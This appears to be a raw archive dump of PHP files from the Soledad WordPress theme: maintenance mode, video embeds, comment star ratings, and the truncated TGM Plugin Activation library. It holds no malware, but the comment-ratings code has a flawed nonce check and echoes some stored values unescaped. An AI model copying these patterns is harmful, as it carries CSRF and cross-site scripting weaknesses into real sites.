if ( ! function_exists( 'penci_is_tablet' ) ) {
	function penci_is_tablet(){
		
		$return = false;
		if ( class_exists( '\Detection\Penci_Mobile_Detect' ) ){
			$detect = new \Detection\Penci_Mobile_Detect;
			
			if ( $detect->isTablet() ) {
				$return = true;
			}
		}
		
		return $return;
	}
}PK     N\՜Y      inc/maintenance.phpnu [        <?php

class Penci_Maintenance_Mode {
	public function __construct() {

		$is_enabled = (bool) get_theme_mod( 'penci_maintenance_mode' ) && (bool) get_theme_mod( 'penci_maintenance_mode_template' );


		if ( ! $is_enabled ) {
			return;
		}

		add_action( 'admin_bar_menu', [ $this, 'add_menu_in_admin_bar' ], 300 );
		add_action( 'admin_head', [ $this, 'print_style' ] );
		add_action( 'wp_head', [ $this, 'print_style' ] );

		// Priority = 11 that is *after* WP default filter `redirect_canonical` in order to avoid redirection loop.
		add_action( 'template_redirect', [ $this, 'template_redirect' ], 11 );
	}

	public function print_style() {
		?>
        <style>#wp-admin-bar-penci-maintenance-on > a {
                background-color: #0639ff;
            }
            #wp-admin-bar-penci-maintenance-on > .ab-item:before {
                content: "\f160";
                top: 2px;
            }</style>
		<?php
	}

	public function add_menu_in_admin_bar( \WP_Admin_Bar $wp_admin_bar ) {
		$block               = get_theme_mod( 'penci_maintenance_mode_template' );
		$customizer_edit_url = admin_url( 'customize.php?autofocus[section]=penci_maintenance_mode_section' );
		$block_edit_url = $block ? get_edit_post_link( $block ) : '';

		$wp_admin_bar->add_node( [
			'id'    => 'penci-maintenance-on',
			'title' => esc_html__( 'Maintenance Mode ON', 'soledad' ),
			'href'  => $customizer_edit_url,
		] );

		if ( $block_edit_url ) {
			$wp_admin_bar->add_node( [
				'id'     => 'penci-maintenance-edit',
				'parent' => 'penci-maintenance-on',
				'title'  => esc_html__( 'Edit Template', 'soledad' ),
				'href'   => $block_edit_url,
			] );
		}
	}

	public function body_class( $classes ) {
		$classes[] = 'penci-maintenance-mode';

		return $classes;
	}

	public function template_redirect() {
		if ( class_exists( '\Elementor\Plugin' ) && \Elementor\Plugin::$instance->preview->is_preview_mode() ) {
			return;
		}

		$user = wp_get_current_user();

		$exclude_mode = get_theme_mod( 'penci_maintenance_mode_access', 'logged_in' );

		$is_login_page = false;

		/**
		 * Is login page
		 *
		 * Filters whether the maintenance mode displaying the login page or a regular page.
		 *
		 * @param bool $is_login_page Whether its a login page.
		 *
		 * @since 1.0.4
		 *
		 */
		$is_login_page = is_login();

		if ( $is_login_page ) {
			return;
		}

		if ( 'logged_in' === $exclude_mode && is_user_logged_in() ) {
			return;
		}

		if ( 'custom' === $exclude_mode ) {
			$exclude_roles = get_theme_mod( 'penci_maintenance_mode_custom_roles', [] );
			$user_roles    = $user->roles;

			if ( is_multisite() && is_super_admin() ) {
				$user_roles[] = 'super_admin';
			}

			$compare_roles = array_intersect( $user_roles, $exclude_roles );

			if ( ! empty( $compare_roles ) ) {
				return;
			}
		}

		add_filter( 'body_class', [ $this, 'body_class' ] );

		if ( 'maintenance' === get_theme_mod( 'penci_maintenance_mode' ) ) {
			$protocol = wp_get_server_protocol();
			header( "$protocol 503 Service Unavailable", true, 503 );
			header( 'Content-Type: text/html; charset=utf-8' );
			header( 'Retry-After: 600' );
		}

		// Setup global post for Elementor\frontend so `_has_elementor_in_page = true`.
		$GLOBALS['post'] = get_post( get_theme_mod( 'penci_maintenance_mode_template' ) ); // phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited

		// Set the template as `$wp_query->current_object` for `wp_title` and etc.
		query_posts( [
			'p'         => get_theme_mod( 'penci_maintenance_mode_template' ),
			'post_type' => 'penci-block',
		] );
	}
}

new Penci_Maintenance_Mode();PK     N\YC!  C!    inc/video-format.phpnu [        <?php
if ( ! class_exists( 'Penci_Sodedad_Video_Format' ) ) {
	class Penci_Sodedad_Video_Format {

		public static function get_type_video( $video_embed ) {
			if ( ! $video_embed ) {
				return '';
			}

			$video_embed = strtolower( $video_embed );
			if ( false !== strpos( $video_embed, 'vimeo.com' ) ) {
				return 'vimeo';
			}

			if ( false !== strpos( $video_embed, 'youtu.be' ) ||
				false !== strpos( $video_embed, 'youtube-nocookie.com' ) ||
				false !== strpos( $video_embed, 'youtube.com' ) ) {
				return 'youtube';
			}

			preg_match( '#^(http|https)://.+\.(mp4|m4v|webm|ogv|wmv|flv)$#i', $video_embed, $matches );
			if ( ! empty( $matches[0] ) ) {
				return 'selfhosted';
			}

			return '';
		}

		public static function show_video_embed( $atts ) {

			$post_id             = '';
			$parallax            = '';
			$div_special_wrapper = '';
			$single_style        = '';
			$args                = array();
			$show_title_inner    = false;
			$move_title_bellow   = false;

			$atts = wp_parse_args( $atts, array(
				'post_id'             => '',
				'parallax'            => '',
				'args'                => '',
				'show_title_inner'    => '',
				'move_title_bellow'   => '',
				'div_special_wrapper' => '',
				'single_style'        => ''
			) );
			extract( $atts );

			remove_all_filters( 'oembed_result' );

			$author_html = '';

			if ( 'style-22' == $single_style ) {
				$author_html = '<div class="penci-author-wrapper"><a href="'.get_author_posts_url( get_current_user_id() ).'">' . get_avatar( get_current_user_id(), 100 ) . '</a></div>';
			}

			$video_embed = get_post_meta( $post_id, '_format_video_embed', true );
			$type_video  = self::get_type_video( $video_embed );

			$output = '';
			if ( 'youtube' == $type_video ) {
				$video = self::get_youtube_link( $video_embed );

				if ( $parallax ) {
					if ( false !== strpos( $video, 'iframe' ) ) {
						$output .= '<div class="penci-jarallax" data-video-src="' . self::get_url_video_embed_code( $video ) . '"></div>';
					} else {
						$output .= '<div class="penci-jarallax" data-video-src="' . esc_url( $video ) . '"></div>';
					}
				} else {
					if ( wp_oembed_get( $video ) ) {
						if ( 'style-7' == $single_style || ( ! get_theme_mod( 'penci_move_title_bellow' ) && in_array( $single_style, array(
									'style-5',
									'style-6',
									'style-8'
								) ) ) ) {
							$iframe_video = wp_oembed_get( $video, $args );

							$patterns[]     = '/src="(.*?)"/';
							$replacements[] = 'src="${1}&autoplay=1&mute=1"';
							$output         .= preg_replace( $patterns, $replacements, $iframe_video );

						} else {
							$output .= wp_oembed_get( $video, $args );
						}

					} else {
						$output .= do_shortcode( $video );
					}
				}
			} elseif ( 'vimeo' == $type_video ) {
				if ( $parallax ) {
					if ( false !== strpos( $video_embed, 'iframe' ) ) {
						$output .= $video_embed;
					} else {
						$output .= '<div class="penci-jarallax" data-video-src="' . esc_url( $video_embed ) . '"></div>';
					}
				} else {
					if ( wp_oembed_get( $video_embed ) ) {

						if ( 'style-7' == $single_style || ( ! get_theme_mod( 'penci_move_title_bellow' ) && in_array( $single_style, array(
									'style-5',
									'style-6',
									'style-8'
								) ) ) ) {


							$iframe_video = wp_oembed_get( $video_embed, $args );

							$patterns[]     = '/src="(.*?)"/';
							$replacements[] = 'src="${1}&autoplay=1&loop=1&mute=1"';

							$output .= preg_replace( $patterns, $replacements, $iframe_video );

						} else {
							$output .= wp_oembed_get( $video_embed, $args );
						}
					} else {
						$output .= do_shortcode( $video_embed );
					}
				}
			} elseif ( 'selfhosted' == $type_video ) {
				$output .= do_shortcode( '[video src="' . $video_embed . '"]' );
			} else {
				$output .= do_shortcode( $video_embed );
			}

			echo '<div class="post-image penci-video-format-' . $type_video . ( ! $move_title_bellow ? ' penci-move-title-above' : '' ) . '">';
			echo $output;

			if ( $show_title_inner && ! $move_title_bellow ) {
				echo $div_special_wrapper;
				get_template_part( 'template-parts/single', 'breadcrumb' );
				get_template_part( 'template-parts/single', 'entry-header' );
				echo '</div>';
			}
			echo $author_html;
			echo '</div>';

		}

		public static function show_builder_video_embed( $atts,$settings ) {

			$post_id             = '';
			$parallax            = '';
			$div_special_wrapper = '';
			$single_style        = '';
			$args                = array();
			$show_title_inner    = false;
			$move_title_bellow   = false;

			$atts = wp_parse_args( $atts, array(
				'post_id'             => '',
				'parallax'            => '',
				'args'                => '',
				'show_title_inner'    => '',
				'move_title_bellow'   => '',
				'div_special_wrapper' => '',
				'single_style'        => ''
			) );
			extract( $atts );

			remove_all_filters( 'oembed_result' );


			$video_embed = get_post_meta( $post_id, '_format_video_embed', true );
			$type_video  = self::get_type_video( $video_embed );

			$output = '';
			if ( 'youtube' == $type_video ) {
				$video = self::get_youtube_link( $video_embed );

				if ( $parallax ) {
					if ( false !== strpos( $video, 'iframe' ) ) {
						$output .= '<div class="penci-jarallax" data-video-src="' . self::get_url_video_embed_code( $video ) . '"></div>';
					} else {
						$output .= '<div class="penci-jarallax" data-video-src="' . esc_url( $video ) . '"></div>';
					}
				} else {
					if ( wp_oembed_get( $video ) ) {
						$iframe_video = wp_oembed_get( $video, $args );

						$patterns[]     = '/src="(.*?)"/';
						$replacements[] = 'src="${1}&autoplay=1&mute=1"';
						$output         .= preg_replace( $patterns, $replacements, $iframe_video );

					} else {
						$output .= do_shortcode( $video );
					}
				}
			} elseif ( 'vimeo' == $type_video ) {
				if ( $parallax ) {
					if ( false !== strpos( $video_embed, 'iframe' ) ) {
						$output .= $video_embed;
					} else {
						$output .= '<div class="penci-jarallax" data-video-src="' . esc_url( $video_embed ) . '"></div>';
					}
				} else {
					if ( wp_oembed_get( $video_embed ) ) {

						$iframe_video = wp_oembed_get( $video_embed, $args );

						$patterns[]     = '/src="(.*?)"/';
						$replacements[] = 'src="${1}&autoplay=1&loop=1&mute=1"';

						$output .= preg_replace( $patterns, $replacements, $iframe_video );
					} else {
						$output .= do_shortcode( $video_embed );
					}
				}
			} elseif ( 'selfhosted' == $type_video ) {
				$output .= do_shortcode( '[video src="' . $video_embed . '"]' );
			} else {
				$output .= do_shortcode( $video_embed );
			}

			echo '<div class="post-image penci-video-format-' . $type_video . ( ! $move_title_bellow ? ' penci-move-title-above' : '' ) . '">';
			echo $output;

			if ( $show_title_inner && ! $move_title_bellow ) {
				echo $div_special_wrapper;
				echo '<div class="penci-fto-ct">';
				get_template_part( 'template-parts/single', 'breadcrumb' );
				get_template_part( 'inc/template-builder/single-elements/entry', 'header',$settings );
				echo '</div>';
				echo '</div>';
			}
			echo '</div>';

		}

		public static function get_youtube_link( $link ) {
			$return = $link;
			$values = '';

			if ( preg_match( '/youtube\.com\/watch\?v=([^\&\?\/]+)/', $link, $id ) ) {
				$values = $id[1];
			} else if ( preg_match( '/youtube\.com\/embed\/([^"]+)\?/', $link, $id ) ) {
				$values = $id[1];
			} else if ( preg_match( '/youtube\.com\/embed\/([^"]+)"/', $link, $id ) ) {
				$values = $id[1];
			} else if ( preg_match( '/youtube\.com\/v\/([^\&\?\/]+)/', $link, $id ) ) {
				$values = $id[1];
			} else if ( preg_match( '/youtu\.be\/([^\&\?\/]+)/', $link, $id ) ) {
				$values = $id[1];
			} else if ( preg_match( '/youtube\.com\/verify_age\?next_url=\/watch%3Fv%3D([^\&\?\/]+)/', $link, $id ) ) {
				$values = $id[1];
			} elseif ( preg_match( '%(?:youtube(?:-nocookie)?\.com/(?:[^/]+/.+/|(?:v|e(?:mbed)?)/|.*[?&]v=)|youtu\.be/)([^"&?/ ]{11})%i', $link, $id ) ) {
				$values = $id[1];
			}

			if ( $values ) {
				$return = 'https://www.youtube.com/watch?v=' . $values;
			}

			return $return;
		}

		function get_url_video_embed_code( $video ) {
			return preg_replace( "/\s*[a-zA-Z\/\/:\.]*youtube.com\/watch\?v=([a-zA-Z0-9\-_]+)([a-zA-Z0-9\/\*\-\_\?\&\;\%\=\.]*)/i", "<i" . "frame width=\"560\" height=\"315\" src=\"//www.youtube.com/embed/$1\" frameborder=\"0\" allowfullscreen></i" . "frame>", $video );
		}
	}
}
PK     N\ؐb#  b#    inc/comment_ratings.phpnu [        <?php

class Penci_Comment_Ratings {

	/**
	 * Instance of this class.
	 * @since    1.0.0
	 * @var      object
	 */
	protected static $instance = null;

	protected $plugin_baseurl = null;

	protected static $config;
	protected static $localized = array();

	/**
	 * Initialize the plugin by setting localization, filters, and administration functions.
	 * @since     1.0.0
	 */
	protected function __construct() {

		if ( ! get_theme_mod( 'penci_post_comments_ratings' ) ) {
			return false;
		}

		// Load public-facing style sheet and JavaScript.
		add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ) );

		add_action( 'comment_form_top', array( $this, 'output_review_fields' ) );

		add_action( 'comment_form_defaults', array( $this, 'filter_submit_comment_button' ) );


		add_action( 'comment_post', array( $this, 'save_comment' ) );

		// now the admin part
		add_filter( 'comment_edit_redirect', array( $this, 'save_comment_backend' ), 10, 2 );
		add_action( 'add_meta_boxes', array( $this, 'add_custom_backend_box' ) );

		// add admin columns
		add_filter( 'manage_edit-comments_columns', array( $this, 'admin_col' ), 10, 100 );
		add_action( 'manage_comments_custom_column', array( $this, 'admin_col_content' ), 10, 2 );

		add_filter( 'comment_class', array( $this, 'review_comment_class' ), 10, 6 );

	}

	/**
	 * Return an instance of this class.
	 * @return    object    A single instance of this class.
	 * @since     1.0.0
	 */
	public static function get_instance() {
		// If the single instance hasn't been set, set it now.
		if ( null == self::$instance ) {
			self::$instance = new self;
		}

		return self::$instance;
	}

	public function review_comment_class( $classes, $css_class, $comment_id, $comment, $post ) {
		$rating            = get_comment_meta( $comment_id, 'pccm_rating', true );
		$pccm_rating_title = get_comment_meta( $comment_id, 'pccm_rating_title', true );

		if ( $rating && $pccm_rating_title ) {
			$classes[] = 'penci-rating-comment';
		}

		return $classes;
	}

	public function moveElement( &$array, $a, $b ) {
		$out = array_splice( $array, $a, 1 );
		array_splice( $array, $b, 0, $out );
	}

	public function admin_col( $columns ) {
		$columns['penci_comment_ratings'] = __( 'Comment Ratings', 'soledad' );

		$n_columns = array();
		$move      = 'penci_comment_ratings'; // what to move
		$before    = 'response'; // move before this
		foreach ( $columns as $key => $value ) {
			if ( $key == $before ) {
				$n_columns[ $move ] = $move;
			}
			$n_columns[ $key ] = $value;
		}

		return $n_columns;

	}

	function admin_col_content( $column, $comment_ID ) {
		//get the rating
		$rating_content = '';
		$rating         = get_comment_meta( $comment_ID, 'pccm_rating', true );
		//get the rating title
		$pccm_rating_title = get_comment_meta( $comment_ID, 'pccm_rating_title', true );

		//add the rating stars to the comment
		if ( ! empty( $rating ) ) {
			$rating_content .= '<div class="review_rated" style="color:#ffb900">';
			for ( $x = 1; $x <= 5; $x ++ ) {
				$show           = $x <= $rating ? 'filled' : 'empty';
				$rating_content .= '<span class="dashicons dashicons-star-' . $show . '"></span>';
			}
			$rating_content .= '</div>';
		}

		//add the rating title
		if ( ! empty( $pccm_rating_title ) ) {
			$rating_content .= '<span class="pccm_rating_title">' . $pccm_rating_title . '</span>';
		}
		switch ( $column ) :
			case 'penci_comment_ratings' :
			{
				echo $rating_content; // or echo $comment->comment_ID;
				break;
			}
		endswitch;
	}

	protected function set_rating_values() {
		$ratings = array(
			penci_get_setting( 'penci_review_terrible' ),
			penci_get_setting( 'penci_review_poor' ),
			penci_get_setting( 'penci_review_average' ),
			penci_get_setting( 'penci_review_verygood' ),
			penci_get_setting( 'penci_review_exceptional' ),
		);

		return $ratings;
	}

	/**
	 * Register and enqueues public-facing JavaScript files.
	 * @since    1.0.0
	 */
	public function enqueue_scripts() {
		// add assets here
		wp_enqueue_script( 'jquery-raty', PENCI_SOLEDAD_URL . '/js/jquery.raty.js', array( 'jquery' ), PENCI_SOLEDAD_VERSION, true );
		wp_enqueue_script( 'reviews-scripts', PENCI_SOLEDAD_URL . '/js/reviews.js', array( 'jquery-raty' ), PENCI_SOLEDAD_VERSION, true );

		wp_localize_script( 'reviews-scripts', 'penci_reviews', array(
				'hints' => $this->set_rating_values(),
			)
		);
	}

	function save_comment( $commentID ) {
		//some sanity check
		if ( ! is_numeric( $commentID ) ) {
			return;
		}
		// Save the rating
		if ( isset( $_POST['pccm_rating'] ) && is_numeric( $_POST['pccm_rating'] ) ) {
			update_comment_meta( $commentID, 'pccm_rating', $_POST['pccm_rating'], true );
		}

		//Save the rating title
		if ( isset( $_POST['pccm_rating_title'] ) && is_string( $_POST['pccm_rating_title'] ) ) {
			update_comment_meta( $commentID, 'pccm_rating_title', sanitize_text_field( $_POST['pccm_rating_title'] ), true );
		}
	}

	function output_review_fields() {
		?>

        <div id="add_comment_rating_wrap">
            <label for="add_post_rating"><?php echo penci_get_setting( 'penci_overall_rating' ); ?></label>

            <div id="add_post_rating"
                 data-pccm_rating="<?php echo get_theme_mod( 'penci_post_comments_ratings', 4 ); ?>"
                 data-assets_path="<?php echo esc_attr( PENCI_SOLEDAD_URL . '/images' ); ?>"></div>
        </div>
        <div class="review-title-form">
            <label for="pccm_rating_title"><?php penci_get_setting( 'penci_summarize' ); ?></label>
            <input type='text' id='pccm_rating_title' name='pccm_rating_title' value=""
                   placeholder="<?php echo penci_get_setting( 'penci_summarize' ); ?>"
                   size='25'/>
        </div>

		<?php
	}


	function filter_submit_comment_button( $args ) {
		$label                = penci_get_setting( 'penci_review_submit' );
		$args['label_submit'] = $label;

		return $args;
	}

	/**
	 * Save Custom Comment Field
	 * This hook deals with the redirect after saving, we are only taking advantage of it
	 */
	function save_comment_backend( $location, $comment_id ) {
		// Not allowed, return regular value without updating meta
		if ( ! wp_verify_nonce( $_POST['noncename_wpse_82317'], plugin_basename( __FILE__ ) )
		     && ! isset( $_POST['pccm_rating_title'] ) && ! isset( $_POST['pccm_rating'] ) ) {
			return $location;
		}

		// Update meta
		update_comment_meta(
			$comment_id,
			'pccm_rating_title',
			sanitize_text_field( $_POST['pccm_rating_title'] )
		);

		// Save rating to the comment if we actually have a numeric value here - just to stay safe
		if ( intval( $_POST['pccm_rating'] ) ) {
			update_comment_meta( $comment_id, 'pccm_rating', intval( $_POST['pccm_rating'] ) );
		}

		// Return regular value after updating
		return $location;
	}

	/**
	 * Add Comment meta box
	 */
	function add_custom_backend_box() {
		add_meta_box(
			'section_id_wpse_82317',
			esc_html__( 'Review Fields', 'soledad' ),
			array( $this, 'inner_custom_backend_box' ),
			'comment',
			'normal'
		);
	}

	/**
	 * Render meta box with Custom Field
	 */
	function inner_custom_backend_box( $comment ) {
		//some sanity check
		if ( empty( $comment ) ) {
			return;
		}

		// Use nonce for verification
		wp_nonce_field( plugin_basename( __FILE__ ), 'noncename_wpse_82317' );

		$pccm_rating_title = get_comment_meta( $comment->comment_ID, 'pccm_rating_title', true );
		$current_rating    = get_comment_meta( $comment->comment_ID, 'pccm_rating', true ); ?>

        <fieldset>
            <label for="pccm_rating_title"><?php echo penci_get_setting( 'penci_review_title' ); ?></label>
            <input type='text' id='pccm_rating_title' name='pccm_rating_title'
                   value="<?php echo esc_attr( $pccm_rating_title ) ?>" size='25'/>
        </fieldset>

		<?php // if there is a value, display it
		$data = '';
		if ( ! empty( $current_rating ) ) {
			$data .= 'data-pccm_rating="' . $current_rating . '"';
		} ?>

        <fieldset id="add_comment_rating_wrap">
			<?php ?>
            <label for="add_post_rating"><?php echo penci_get_setting( 'penci_review_ratings' ); ?></label>

            <div id="add_post_rating" <?php echo $data; ?>
                 data-assets_path="<?php echo $this->plugin_baseurl . '/images'; ?>"></div>
        </fieldset>

	<?php }

	function get_average_rating( $post_id = null, $decimals = 2 ) {

		if ( empty( $post_id ) ) {
			$post_id = get_the_ID();
		}

		$comments = get_comments( array(
			'post_id'  => $post_id,
			'meta_key' => 'pccm_rating',
			'status'   => 'approve'
		) );

		if ( empty( $comments ) ) {
			return false;
		}

		$total = 0;
		foreach ( $comments as $comment ) {
			$current_rating = get_comment_meta( $comment->comment_ID, 'pccm_rating', true );
			$total          = $total + (double) $current_rating;
		}

		$average = $total / count( $comments );

		return number_format( $average, $decimals );
	}
}

Penci_Comment_Ratings::get_instance();PK     N\m   #  inc/class-tgm-plugin-activation.phpnu [        <?php
/**
 * Plugin installation and activation for WordPress themes.
 *
 * Please note that this is a drop-in library for a theme or plugin.
 * The authors of this library (Thomas and Gary) are NOT responsible
 * for the support of your plugin or theme. Please contact the plugin
 * or theme author for support.
 *
 * @package   TGM-Plugin-Activation
 * @version   2.5.0-alpha
 * @link      http://tgmpluginactivation.com/
 * @author    Thomas Griffin, Gary Jones
 * @copyright Copyright (c) 2011, Thomas Griffin
 * @license   GPL-2.0+
 *
 * @wordpress-plugin
 * Plugin Name: TGM Plugin Activation
 * Plugin URI:
 * Description: Plugin installation and activation for WordPress themes.
 * Version:     2.5.0-dev
 * Author:      griffinjt, garyj, jrf
 * Author URI:  http://tgmpluginactivation.com/
 * Text Domain: tgmpa
 * Domain Path: /languages/
 * Copyright:   2011, Thomas Griffin
 */

/*
	Copyright 2011 Thomas Griffin (thomasgriffinmedia.com)

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License, version 2, as
	published by the Free Software Foundation.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

if ( ! class_exists( 'TGM_Plugin_Activation' ) ) {

	/**
	 * Automatic plugin installation and activation library.
	 *
	 * Creates a way to automatically install and activate plugins from within themes.
	 * The plugins can be either pre-packaged, downloaded from the WordPress
	 * Plugin Repository or downloaded from another external source.
	 *
	 * @since 1.0.0
	 *
	 * @package TGM-Plugin-Activation
	 * @author  Thomas Griffin
	 * @author  Gary Jones
	 */
	class TGM_Plugin_Activation {

		/**
		 * TGMPA version number.
		 *
		 * @since 2.5.0
		 *
		 * @const string Version number.
		 */
		const TGMPA_VERSION = '2.5.0';

		/**
		 * Regular expression to test if a URL is a WP plugin repo URL.
		 *
		 * @const string Regex.
		 *
		 * @since 2.5.0
		 */
		const WP_REPO_REGEX = '|^http[s]?://wordpress\.org/(?:extend/)?plugins/|';

		/**
		 * Arbitrary regular expression to test if a string starts with a URL.
		 *
		 * @const string Regex.
		 *
		 * @since 2.5.0
		 */
		const IS_URL_REGEX = '|^http[s]?://|';

		/**
		 * Holds a copy of itself, so it can be referenced by the class name.
		 *
		 * @since 1.0.0
		 *
		 * @var TGM_Plugin_Activation
		 */
		public static $instance;

		/**
		 * Holds arrays of plugin details.
		 *
		 * @since 1.0.0
		 *
		 * @since 2.5.0 the array has the plugin slug as an associative key.
		 *
		 * @var array
		 */
		public $plugins = array();

		/**
		 * Holds arrays of plugin names to use to sort the plugins array.
		 *
		 * @since 2.5.0
		 *
		 * @var array
		 */
		protected $sort_order = array();

		/**
		 * Whether any plugins have the 'force_activation' setting set to true.
		 *
		 * @since 2.5.0
		 *
		 * @var bool
		 */
		protected $has_forced_activation = false;

		/**
		 * Whether any plugins have the 'force_deactivation' setting set to true.
		 *
		 * @since 2.5.0
		 *
		 * @var bool
		 */
		protected $has_forced_deactivation = false;

		/**
		 * Name of the unique ID to hash notices.
		 *
		 * @since 2.4.0
		 *
		 * @var string
		 */
		public $id = 'tgmpa';

		/**
		 * Name of the query-string argument for the admin page.
		 *
		 * @since 1.0.0
		 *
		 * @var string
		 */
		public $menu = 'tgmpa-install-plugins';

		/**
		 * Parent menu file slug.
		 *
		 * @since 2.5.0
		 *
		 * @var string
		 */
		public $parent_slug = 'themes.php';

		/**
		 * Capability needed to view the plugin installation menu item.
		 *
		 * @since 2.5.0
		 *
		 * @var string
		 */
		public $capability = 'edit_theme_options';

		/**
		 * Default absolute path to folder containing pre-packaged plugin zip files.
		 *
		 * @since 2.0.0
		 *
		 * @var string Absolute path prefix to packaged zip file location. Default is empty string.
		 */
		public $default_path = '';

		/**
		 * Flag to show admin notices or not.
		 *
		 * @since 2.1.0
		 *
		 * @var boolean
		 */
		public $has_notices = true;

		/**
		 * Flag to determine if the user can dismiss the notice nag.
		 *
		 * @since 2.4.0
		 *
		 * @var boolean
		 */
		public $dismissable = true;

		/**
		 * Message to be output above nag notice if dismissable is false.
		 *
		 * @since 2.4.0
		 *
		 * @var string
		 */
		public $dismiss_msg = '';

		/**
		 * Flag to set automatic activation of plugins. Off by default.
		 *
		 * @since 2.2.0
		 *
		 * @var boolean
		 */
		public $is_automatic = false;

		/**
		 * Optional message to display before the plugins table.
		 *
		 * @since 2.2.0
		 *
		 * @var string Message filtered by wp_kses_post(). Default is empty string.
		 */
		public $message = '';

		/**
		 * Holds configurable array of strings.
		 *
		 * Default values are added in the constructor.
		 *
		 * @since 2.0.0
		 *
		 * @var array
		 */
		public $strings = array();

		/**
		 * Holds the version of WordPress.
		 *
		 * @since 2.4.0
		 *
		 * @var int
		 */
		public $wp_version;

		/**
		 * Holds the hook name for the admin page.
		 *
		 * @since 2.5.0
		 *
		 * @var string
		 */
		public $page_hook;

		/**
		 * Adds a reference of this object to $instance, populates default strings,
		 * does the tgmpa_init action hook, and hooks in the interactions to init.
		 *
		 * @since 1.0.0
		 *
		 * @see TGM_Plugin_Activation::init()
		 */
		protected function __construct() {

			// Set the current WordPress version.
			$this->wp_version = $GLOBALS['wp_version'];

			// Announce that the class is ready, and pass the object (for advanced use).
			do_action_ref_array( 'tgmpa_init', array( $this ) );

			// When the rest of WP has loaded, kick-start the rest of the class.
			add_action( 'init', array( $this, 'init' ) );

		}

		/**
		 * Initialise the interactions between this class and WordPress.
		 *
		 * Hooks in three new methods for the class: admin_menu, notices and styles.
		 *
		 * @since 2.0.0
		 *
		 * @see TGM_Plugin_Activation::admin_menu()
		 * @see TGM_Plugin_Activation::notices()
		 * @see TGM_Plugin_Activation::styles()
		 */
		public function init() {

			/**
			 * By default TGMPA only loads on the WP back-end. Using this filter you can overrule that behaviour.
			 *
			 * @param bool $load Whether or not TGMPA should load. Defaults to the return of `is_admin()`.
			 *
			 * @since 2.5.0
			 *
			 */
			if ( true !== apply_filters( 'tgmpa_load', is_admin() ) ) {
				return;
			}

			// Load class strings.
			$this->strings = array(
				'page_title'                      => esc_html__( 'Install Required Plugins', 'tgmpa' ),
				'menu_title'                      => esc_html__( 'Install Plugins', 'tgmpa' ),
				'installing'                      => esc_html__( 'Installing Plugin: %s', 'tgmpa' ),
				'oops'                            => esc_html__( 'Something went wrong with the plugin API.', 'tgmpa' ),
				'notice_can_install_required'     => _n_noop( 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.', 'tgmpa' ),
				'notice_can_install_recommended'  => _n_noop( 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.', 'tgmpa' ),
				'notice_cannot_install'           => _n_noop( 'Sorry, but you do not have the correct permissions to install the %1$s plugin.', 'Sorry, but you do not have the correct permissions to install the %1$s plugins.', 'tgmpa' ),
				'notice_ask_to_update'            => _n_noop( 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.', 'tgmpa' ),
				'notice_ask_to_update_maybe'      => _n_noop( 'There is an update available for: %1$s.', 'There are updates available for the following plugins: %1$s.', 'tgmpa' ),
				'notice_cannot_update'            => _n_noop( 'Sorry, but you do not have the correct permissions to update the %1$s plugin.', 'Sorry, but you do not have the correct permissions to update the %1$s plugins.', 'tgmpa' ),
				'notice_can_activate_required'    => _n_noop( 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.', 'tgmpa' ),
				'notice_can_activate_recommended' => _n_noop( 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.', 'tgmpa' ),
				'notice_cannot_activate'          => _n_noop( 'Sorry, but you do not have the correct permissions to activate the %1$s plugin.', 'Sorry, but you do not have the correct permissions to activate the %1$s plugins.', 'tgmpa' ),
				'install_link'                    => _n_noop( 'Begin installing plugin', 'Begin installing plugins', 'tgmpa' ),
				'update_link'                     => _n_noop( 'Begin updating plugin', 'Begin updating plugins', 'tgmpa' ),
				'activate_link'                   => _n_noop( 'Begin activating plugin', 'Begin activating plugins', 'tgmpa' ),

				'return'                      => esc_html__( 'Return to Required Plugins Installer', 'tgmpa' ),
				'dashboard'                   => esc_html__( 'Return to the dashboard', 'tgmpa' ),
				'plugin_activated'            => esc_html__( 'Plugin activated successfully.', 'tgmpa' ),
				'activated_successfully'      => esc_html__( 'The following plugin was activated successfully:', 'tgmpa' ),
				'plugin_already_active'       => esc_html__( 'No action taken. Plugin %1$s was already active.', 'tgmpa' ),
				'plugin_needs_higher_version' => esc_html__( 'Plugin not activated. A higher version of %s is needed for this theme. Please update the plugin.', 'tgmpa' ),
				'complete'                    => esc_html__( 'All plugins installed and activated successfully. %1$s', 'tgmpa' ),
				'dismiss'                     => esc_html__( 'Dismiss this notice', 'tgmpa' ),
				'contact_admin'               => esc_html__( 'Please contact the administrator of this site for help.', 'tgmpa' ),
			);

			do_action( 'tgmpa_register' );

			/* After this point, the plugins should be registered and the configuration set. */

			// Proceed only if we have plugins to handle.
			if ( empty( $this->plugins ) || ! is_array( $this->plugins ) ) {
				return;
			}

			// Set up the menu and notices if we still have outstanding actions.
			if ( true !== $this->is_tgmpa_complete() ) {
				// Sort the plugins.
				array_multisort( $this->sort_order, SORT_ASC, $this->plugins );

				add_action( 'admin_menu', array( $this, 'admin_menu' ) );
				add_action( 'admin_head', array( $this, 'dismiss' ) );

				// Prevent the normal links from showing underneath an single install/update page.
				add_filter( 'install_plugin_complete_actions', array( $this, 'actions' ) );
				add_filter( 'update_plugin_complete_actions', array( $this, 'actions' ) );

				if ( $this->has_notices ) {
					add_action( 'admin_notices', array( $this, 'notices' ) );
					add_action( 'admin_init', array( $this, 'admin_init' ), 1 );
					add_action( 'admin_enqueue_scripts', array( $this, 'thickbox' ) );
				}

				$this->add_plugin_action_link_filters();

			}

			// Make sure things get reset on switch theme.
			add_action( 'switch_theme', array( $this, 'flush_plugins_cache' ) );

			if ( $this->has_notices ) {
